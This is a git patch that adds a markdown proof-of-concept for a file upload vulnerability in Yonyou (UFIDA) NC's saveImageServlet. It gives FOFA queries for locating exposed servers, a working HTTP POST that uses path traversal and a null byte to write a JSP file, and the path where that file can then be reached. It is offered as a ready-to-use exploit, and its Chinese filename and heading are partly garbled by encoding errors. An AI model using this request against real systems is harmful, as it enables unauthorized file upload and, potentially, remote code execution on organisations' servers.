From febfe158459282de0dd207bd8e5359a06e1d89f3 Mon Sep 17 00:00:00 2001
From: wy876 <139549762+wy876@users.noreply.github.com>
Date: Thu, 11 Apr 2024 19:47:36 +0800
Subject: [PATCH] =?UTF-8?q?Create=20=E7=94=A8=E5=8F=8BNC=5FsaveImageServle?=
 =?UTF-8?q?t=E6=8E=A5=E5=8F=A3=E5=AD=98=E5=9C=A8=E6=96=87=E4=BB=B6?=
 =?UTF-8?q?=E4=B8=8A=E4=BC=A0=E6=BC=8F=E6=B4=9E.md?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...�‹NC_saveImageServlet接å�£å­˜åœ¨æ–‡ä»¶ä¸Šä¼ æ¼�æ´ž.md | 27 +++++++++++++++++++
 1 file changed, 27 insertions(+)
 create mode 100644 用�NC_saveImageServlet接�存在文件上传�洞.md

diff --git a/用�NC_saveImageServlet接�存在文件上传�洞.md b/用�NC_saveImageServlet接�存在文件上传�洞.md
new file mode 100644
index 0000000..54e82b7
--- /dev/null
+++ b/用�NC_saveImageServlet接�存在文件上传�洞.md
@@ -0,0 +1,27 @@
+## 用�NC_saveImageServlet接�存在文件上传�洞
+
+
+## fofa
+```
+icon_hash="1085941792"  
+app="用�-UFIDA-NC"
+```
+
+## poc
+```
+POST /portal/pt/servlet/saveImageServlet/doPost?pageId=login&filename=../1.jsp%00 HTTP/1.1
+Host: 
+Content-Type: application/octet-stream
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
+Content-Length: 19
+
+111
+```
+
+文件路径`http://ip:port/portal/processxml/1.jsp`
+
+![image](https://github.com/wy876/POC/assets/139549762/be012248-101f-4491-863e-4e71c5312ce4)
+
+![image](https://github.com/wy876/POC/assets/139549762/38da1f69-fe44-4cad-b663-b9dfd632d7dd)
+
+